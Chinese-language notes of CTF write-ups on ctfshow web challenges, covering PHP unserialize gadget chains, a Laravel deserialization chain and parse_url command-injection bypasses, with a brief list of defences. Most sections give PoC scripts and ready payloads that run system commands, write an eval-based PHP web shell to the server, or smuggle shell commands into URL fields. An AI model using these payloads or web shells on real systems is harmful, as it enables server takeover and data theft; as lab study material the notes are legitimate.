COOKIE部分:user=O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
->user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

解题思路:
序列化ctfShowUser类和backDoor类,修改'$isVip'的值为true,修改'$code'的值为系统命令;

PoC:
<?php

class ctfShowUser{
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = true;
private $class = 'backDoor';

public function __construct(){
$this->class = new backDoor();
}
public function login($u,$p){
return $this->username === $u&&$this->password === $p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code = 'system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}

$p = new ctfShowUser();
$a = serialize($p);
echo urlencode($a);
?>

payload:
GET部分:?username=xxxxxx&password=xxxxxx
COOKIE部分:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
public $isVip = false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

解题思路:增加了过滤,需要在序列化字符串的类名长度前添加'+',同时'$code'中不能出现d以后的字母;

PoC(注意绕过!):
<?php

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code = 'system("tac f*");';
public function getInfo(){
eval($this->code);
}
}

$p=new ctfShowUser();
$a=serialize($p);
echo urlencode($a);
?>

payload:
GET部分:?username=xxxxxx&password=xxxxxx
COOKIE部分:user=O%3a%2b11%3a%22ctfShowUser%22%3a4%3a%7bs%3a8%3a%22username%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a8%3a%22password%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3bs%3a5%3a%22class%22%3bO%3a%2b8%3a%22backDoor%22%3a1%3a%7bs%3a4%3a%22code%22%3bs%3a17%3a%22system(%22tac+f*%22)%3b%22%3b%7d%7d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

解题思路:
1. 在PHP7.4以上版本中,当__unserialize()存在时,反序列化会绕过__wakeup()函数;
2. 在destruct()函数中存在file_put_contents()函数,可以写入文件并上传一句话木马;
3. $this->code==0x36d 是弱类型比较,'0x36d'没有打引号,所以代表数字,且数字是877,那么'877a''877.php'等可以满足比较;所以设置$username='877.php'来满足比较;

PoC:
<?php
class ctfshowvip{
public $username = '877.php'; // shell,为满足比较命名为877.php
public $password = '<?php eval($_POST[1]);?>'; // 一句话木马
public $code = 0x36d;

public function __invoke(){
eval($this->code);
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password); // 将一句话木马写入877.php
}
}
}

$p=new ctfshowvip();
echo serialize($p);
?>

payload:
GET部分:
?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:4:"code";i:877;}
反序列化触发后,访问url/877.php

POST部分:
1=system('ls');
1=system('tac /flag_is_here');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

考点:字符串逃逸

payload1:
?f=1&m=3&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

"构造法2
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
}

$p=new message();
echo base64_encode(serialize($p));
?>

payload2:
GET部分:message.php
COOKIE部分:msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// Web入门_web263:
本题涉及代码审计,代码文件多且代码量较大,故仅放上部分关键代码;
解题思路:
0. 访问url/www.zip下载网页源代码;

1. inc.php设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize
ini_set('session.serialize_handler', 'php');

2. index.php中的$_SESSION['limit']可控:
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limit']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

3. inc.php存在User类,开放了文件写入,并且参数'username''password'可控,考虑使用文件包含getshell:
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

PoC:
<?php
class User{
public $username;
public $password;
public $status;
function __construct(){
$this->username = 'c.php';
$this->password = '<?php eval($_POST[1])?>';
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
/* 注意此处需要在c.php前添加'log-',即访问log-c.php传参 */
file_put_contents("log-".$this->username, $this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

$a = new User();
$a->setStatus('成功');
echo base64_encode('|'.serialize($a)); // base64编码对冲base64_decode()
?>

payload:
执行PoC,构造cookie:
Cookie: PHPSESSID=n3tqrvbda486ahhgkniusjq66g // 需要事先访问/index.php获取
limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJjLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX1BPU1RbMV0pPz4iO3M6Njoic3RhdHVzIjtzOjY6IuaIkOWKnyI7fQ==

构造完毕,先访问index.php篡改limit的值,再访问inc.php触发反序列化,将shell写入log-c.php:
GET: /index.php
/inc/inc.php

反序列化触发完毕,访问log-c.php传参获取flag:
GET: /log-c.php
POST: 1=system('ls');
1=system('tac flag.php');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password; // 不管$t和$p的值是什么,两者指向的地址必须相同
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

PoC:
<?php
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token = $t;
$this->password = $p;
}
public function login(){
return $this->token === $this->password;
}
}

$a = new ctfshowAdmin(22, 33);
$a->password = &$a->token;
echo urlencode(serialize($a));
?>

payload:
?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bi%3A22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');

class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

解题思路:
存在关键词过滤,使用大小写绕过;

payload:
O:7:"Ctfshow":2:{s:8:"username";i:22;s:8:"password";i:33;}
**注:由于hackbar传入数据必须配合变量名,不能单独传入值,需要使用burpsuite进行POST传入**
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// DSBCTF单身杯-Web-签到·好玩的PHP
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';

public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;

if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;

if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}

unserialize($_GET["dsbctf"]);

考点:代码审计、特殊浮点数常量、PHP反序列化

解题思路:
使用PHP中的特殊浮点数常量'NAN''INF'来构造payload;
类型不相等、长度均为3,满足最后三个if判断;
由于在第一个判断条件中要求变量'$dsb'的三个字符互不相等,因此只能取'INF'来构造payload;

PoC:
<?php
class ctfshow {
private $d = 'I';
private $s = 'N';
private $b = 'F';
private $ctf = INF; // 特殊浮点数常量
}

$p = new ctfshow();
echo urlencode(serialize($p));
?>

payload:
?dsbctf=O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%22I%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%22N%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%22F%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bd%3AINF%3B%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

考点:Laravel反序列化漏洞

payload:
data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'], $content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

解题思路:
存在__destruct魔术方法,能够执行system函数;

payload:
?fn=php;ls
?fn=php;tac flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// CTFshow菜狗杯_小舔田
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}

public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}

class Ion_Fan_Princess{
public $nickname="牛夫人";

public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}

public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}

if (isset($_GET['code'])){
unserialize($_GET['code']);

}else{
$a=new Ion_Fan_Princess();
echo $a;
}

PoC:
<?php

class Moon{
public $name="月亮";
}

class Ion_Fan_Princess{
public $nickname="牛夫人";
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = "小甜甜";
echo serialize($a);
?>

payload:
?code=O:4:%22Moon%22:1:{s:4:%22name%22;O:16:%22Ion_Fan_Princess%22:1:{s:8:%22nickname%22;s:9:%22%E5%B0%8F%E7%94%9C%E7%94%9C%22;}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php
// 2024春秋杯
//error_reporting(0);
function PassWAF1($data){
$BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec", "pcntl_exec", "passthru", "popen", "putenv");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}

function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}

function PassWAF3($data){
$BlackList = array("\.\.", "\/");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}

function Base64Decode($s){
$decodeStr = base64_decode($s);
if (is_bool($decodeStr)) {
echo "gg";
exit(-1);
}
return $decodeStr;
}

class STU{

public $stu;
public function __construct($stu){
$this->stu = $stu;
}

public function __invoke(){
echo $this->stu;
}
}


class SDU{
public $Dazhuan;

public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}


class CTF{
public $hackman;
public $filename;

public function __toString(){

$data = Base64Decode($this->hackman);
$filename = $this->filename;

if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}

file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}

public function __destruct(){
echo "bye";
}
}

$give = $_POST['data'];
if (isset($_POST['data'])) {
unserialize($give);
} else {
echo "<center>听说pop挺好玩的</center>";
highlight_file(__FILE__);
}


防护策略

  1. 不允许用户控制unserialize()的参数;
  2. 控制传入参数,谨慎使用魔术方法;
  3. 禁用危险函数;
  4. 设置白名单过滤,即增加一层序列化和反序列化接口类;

PHPCVE

绕过姿势

特定函数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);

}else{
highlight_file(__FILE__);
}

解题思路:
parse_url()用于解析网址并对对应的成员变量赋值;
将host和path赋值为'`tac fl*`''1.txt',相当于把shell写入文件,再让shell_exec()执行;

payload:
?url=http://1/1;echo `tac fl*` > 1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>/', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

解题思路:
过滤了'>',无法在目录写入数据;

payload:
?url=http://@$(ls)/../var/www/html/1.txt
?url=http://@$(tac fl*)/../var/www/html/1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>|http|https/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

解题思路:
过滤了https和http协议,大小写混淆或自行替换一个即可;

payload:
?url=Http://@$(ls)/../var/www/html/1.txt
?url=Http://@$(tac fl*)/../var/www/html/1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}

}else{
highlight_file(__FILE__);
}

解题思路:
设置了域名校验,必须传入正常的地址;

payload:
?url=http://127.0.0.1/1;echo `ls`>1.txt
?url=http://127.0.0.1/1;echo `tac fl*`>1.txt

语法绕过

<- To be continued _(:3 ∠)__

⠀⠀⠀⠀⠀⠀⢀⡞⠹⣦⠰⡞⠙⣆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢴⠀⠀⣿⠐⡇⠀⢻⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⠀⠀⣿⢸⡇⠀⢸⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢀⡸⣄⠀⣿⣨⡇⠀⣟⡀⠀⠀⠀⠀⠀
⠀⠀⢠⡶⠚⠉⢁⡀⠀⠀⠀⠀⠀⡈⠉⠙⠲⣤⡀⠀
⢀⡶⠋⠀⢀⠔⠉⠀⠀⠀⠀⠀⠀⠈⠑⢄⠀⠈⠻⡄
⣾⠁⠀⠀⠈⠀⣠⣂⡄⠀⠀⠀⣔⣢⠀⠈⠀⠀⠀⢹
⡇⠀⠀⢠⣠⣠⡌⠓⠁⠀⡀⠀⠙⠊⡄⢀⣀⠀⠀⢸
⢷⡀⠀⠈⠁⠁⠀⠀⠈⠓⡓⠂⠀⠀⠉⠈⠁⠀⠀⡼
⠈⠳⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡞⠁
⠀⠀⢾⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⢸⠀⠀
⠀⠀⠈⢻⡄⠀⠀⠀v我50⠀⠀⠀⠀⠀⡾⠊⠁⠀
⠀⠀⠀⠘⣇⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⡀⣷⠀⠀⠀
⠀⠀⠀⠀⢿⣼⠉⠉⠙⠛⠛⠛⠛⠉⢹⣁⠟

4oCc5L2g6K+077yM5aW55L+p6IO95pCe5Ye65LuA5LmI5ZCN5aCC5p2l77yM6L+Y6IO95oqK572X5b635bKb5q+B5LqG5LiN5oiQ77yf4oCdCuKAnOayoei1hOaWmeivtOeahOmCo+S5iOWkuOW8oO+8jOWug+eahOaEj+aAneaYr+KApuKApuKAnQrmraTml7bngavnpZ7lj4jlnKjmhInlv6vlnLDmipPkv6notKrlkIPppb/niqzkuobvvIg=